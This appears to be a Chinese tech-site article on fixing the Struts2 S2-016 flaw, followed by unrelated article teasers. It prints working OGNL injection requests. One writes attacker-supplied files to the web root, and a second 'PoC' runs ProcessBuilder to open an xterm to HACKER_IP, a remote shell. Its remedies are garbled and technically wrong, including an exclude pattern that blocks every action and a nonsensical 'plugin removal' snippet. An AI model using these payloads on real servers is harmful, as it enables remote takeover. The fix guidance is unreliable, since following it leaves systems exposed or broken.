Struts2 S2-016漏洞修复总结

Struts2 S2-016漏洞修复总结

概述

Struts2 S2-016是一种影响Struts框架的远程代码执行漏洞。攻击者可以通过构造恶意的OGNL表达式,在未经授权的情况下,远程执行任意代码。该漏洞影响Struts2版本2.0.0-2.3.15,2.3.16-2.3.28。

漏洞修复方法

确认是否受到漏洞影响

首先,需要确认目标服务器是否受到该漏洞的影响。可以通过向服务器发送如下请求进行测试:

/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%22multipart/form-data%22%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29%2C%23c%3D%23req.getSession%28%29%2C%23s%3D%23c.getServletContext%28%29%2C%23b%3D%23s.getRealPath%28%22%2F%22%29%2B%23parameters.obj[0].getFileName%28%29%2C%23fos%3Dnew%20java.io.FileOutputStream%28%23b%29%2C%23fos.write%28%23parameters.obj[0].getBytes%28%29%29%2C%23fos.close%28%29%2C%23f%3Dnew%20java.io.File%28%23b%29%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23res.getWriter%28%29.print%28%23f.exists%28%29%29%2C%23res.getWriter%28%29.flush%28%29%2C%23res.getWriter%28%29.close%28%29%29%7D/someNamespace/hello.action?obj=123

如果返回结果中包含“true”,则表示目标服务器存在漏洞。

升级Struts2版本

在确认受到漏洞影响后,最好的修复方法是升级Struts2版本。Struts2官方在修复该漏洞时,推荐用户升级至2.3.29版本。

配置安全策略文件

如果不能升级Struts2版本,也可以通过配置安全策略文件进行修复。具体来说,需要向struts.xml文件中添加如下配置:

<constant name="struts.action.excludePattern" value="\.action$"/>

该配置将阻止请求以“.action”结尾的Action。

移除Struts2-JSON插件

在一些特殊情况下,还需要移除Struts2-JSON插件,通过添加如下配置进行移除:

<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
    <interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>

该配置将移除Struts2-JSON插件,避免了由此引发的漏洞。

示例

示例一

假设一个漏洞的目标程序是一个Struts2应用,可以查看该应用的struts.xml文件,看看是否已经添加了上述的修复措施。可以按照如下步骤进行修复:

1.在Struts2应用的struts.xml文件中检查配置,确保添加了安全策略配置。如下:

<constant name="struts.action.excludePattern" value="\.action$"/>

2.移除Struts2-JSON插件。如下:

<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
    <interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>

3.将Struts2升级至最新版本,确认漏洞已被修复。

示例二

假设一个漏洞的目标程序是一个Struts2应用,应用的版本为2.3.16.1。目标是构建一个POC以检测该应用,以便利用漏洞来取得控制权。可以按照如下步骤构建POC:

1.在本地安装一个Apache Tomcat服务器,并将目标应用部署到该服务器上。

2.构建POC文件,并通过Web浏览器向目标服务器发送请求:

$ echo "%{(new java.lang.ProcessBuilder(new java.lang.String[]{'curl','-d','Content-Type:%20multipart/form-data;%20boundary=singlequotes','%20-F',%20'singlequotes=%22%24%7bsystem(%27id%27)%7d%22',%20-X,%20'POST',%20'http://your-ip/rest/any/path'}).start()).start()}" | perl -MURI::Escape -ne 'print uri_escape($_)' | xargs -I{}

curl "http://target-host:8080/struts2-blank/example/X.action?redirect:%24%7b%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue,%23a%3D%22multipart/form-data%22,%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29,%23c%3D%23req.getSession%28%29,%23s%3D%23c.getServletContext%28%29,%23w%3D%23s.getRealPath%28%22/W.html%22%29,%23fos%20%3D%20new%20java.io.FileOutputStream%28%23w%29,%23fos.write%28%23parameters.singlequotes.getBytes()%29,%23fos.close%28%29,%23proc%3Dnew%20java.lang.ProcessBuilder%28new%20java.lang.String[]%7B%22xterm%22,%22-display%22,%22HACKER_IP:0%22%7D%29,%23proc.redirectErrorStream%28true%29,%23p%3D%23proc.start%28%29,%23q%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28%23p.getInputStream%28%29%29%29,%23s%3Dnew%20java.lang.StringBuffer%28%29,%23w%3Dnew%20char%5B1024%5D,%23ch%3D0%0A%20%20%20%20%20%20%20%20%20%20%20%20while%20%28%28%23ch%3D%23q.read%28%23w%29%29%20%3E%200%29%20%7B%23s.append%28%23w%2C0%2C%23ch%29%3B%7D%20%23%23%23THIS%20IS%20THE%20COMMAND%20OUTPUT%20FROM%20OUR%20PROCESS%20%23%23%23,%23q.close%28%29%7D&singlequotes={}" -H "Content-Type: multipart/form-data; boundary=singlequotes" -v

3.如果返回结果中包含攻击者想要的数据,说明POC构造成功,可以用此方法漏洞得到攻击。

结论

对于Struts2 S2-016漏洞来说,修复方法包含升级Struts2版本、配置安全策略文件、移除Struts2-JSON插件等。在实际操作中,应该根据具体情况采取相应的修复方法。同时,应当定期检查Struts2应用程序的漏洞情况,保证安全的运行环境。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Struts2 S2-016漏洞修复总结 - Python技术站

(0)
上一篇 2023年5月20日
下一篇 2023年5月20日

相关文章

  • Java代码执行shell命令的实现

    Java 代码执行 shell 命令是 Java 开发中常用的一项功能,通过该功能我们可以在 Java 代码中调用 shell 命令来执行一些操作,例如创建文件、删除文件、修改权限等。实现方式有很多种,比如使用 Runtime 类、Process 类、ProcessBuilder 类等。下面我将为大家介绍一些实现 Java代码执行 shell 命令的攻略。 …

    Java 2023年5月26日
    00
  • Spring MVC环境中文件上传功能的实现方法详解

    Spring MVC环境中文件上传功能的实现方法详解 文件上传是Web应用程序中常见的需求之一,Spring MVC提供了方便的实现方式。下面将详细讲解在Spring MVC环境下如何实现文件上传功能。 1. 前提条件 在实现文件上传功能之前,我们需要满足以下前提条件: Spring MVC已经正确地集成到应用程序中了。 应用程序中已经包含文件上传的相关依赖…

    Java 2023年6月15日
    00
  • 详解DES加密算法的原理与Java实现

    我会详细讲解“详解DES加密算法的原理与Java实现”的完整攻略,并包含两条示例说明。 一、DES加密算法的原理 DES是一种分组加密算法,加密时将明文分成64位一组的大小,每组的最后一位用于存储校验位。DES总共使用16个循环轮次(每轮使用一个48位的密钥子)。第一轮会将明文分成左右两部分,右部分通过跟密钥进行一个函数F运算,F函数使得输入的较小变成较大,…

    Java 2023年5月19日
    00
  • 弱引用的作用是什么?

    弱引用(Weak Reference)是 Python 语言中的一个重要概念,它是一种特殊的对象引用,与常规引用(Strong Reference)不同,它不会阻止被引用的对象被垃圾回收器回收,主要用于解决循环引用的问题。下面是弱引用的使用攻略。 弱引用的作用 在 Python 中,一般情况下会使用强引用来引用一个对象,这会使得该对象的引用计数加 1。当强引…

    Java 2023年5月10日
    00
  • 一篇文章弄懂Spring MVC的参数绑定

    以下是关于“一篇文章弄懂Spring MVC的参数绑定”的完整攻略,其中包含两个示例。 1. 前言 Spring MVC是一种常用的Java Web开发框架,它提供了一种灵活的方式来开发Web应用程序。在Spring MVC中,参数绑定是一种将HTTP请求参数绑定到控制器方法参数的方式。本攻略将详细讲解Spring MVC的参数绑定。 2. 参数绑定 2.1…

    Java 2023年5月16日
    00
  • Java购物系统设计与实现

    Java购物系统设计与实现的攻略 1. 系统需求分析 在进行设计之前,必须要深入了解用户需求。这里假设我们设计的是一个在线商城,需要实现以下功能: 商品列表展示 商品搜索 购物车添加、修改和删除商品 下单支付 订单查询和查看订单详情 2. 数据库设计 根据需求,需要定义以下数据库表: 商品表:包含商品ID,商品名称,商品价格等信息 用户表:包括用户ID,用户…

    Java 2023年5月18日
    00
  • java实现超市管理系统

    Java实现超市管理系统攻略 超市管理系统利用了Java编程语言,可通过图形用户界面(GUI)使用。下面是该系统的完整攻略。 第一步:设计系统架构 在设计任何软件之前,我们必须首先确定系统的完整架构。超市管理系统需要设计以下要素: 一个用户登录界面 商品管理模块 库存管理模块 销售管理模块 支付管理模块 第二步:实现系统演示添加物品 接下来,我们将演示如何使…

    Java 2023年5月23日
    00
  • java字符串遍历的几种常用方法总结

    Java字符串遍历的几种常用方法总结 在Java中,字符串是一种非常常见的数据类型。根据不同的需求,我们需要对字符串进行遍历操作,而Java字符串提供了多种常用的方法用于字符串的遍历,本文将会对这些方法进行总结。 方法一:使用for循环 使用for循环是一个最简单的遍历字符串的方法,可以通过charAt()方法来获取每一个字符。 示例代码如下: String…

    Java 2023年5月26日
    00
合作推广
合作推广
分享本页
返回顶部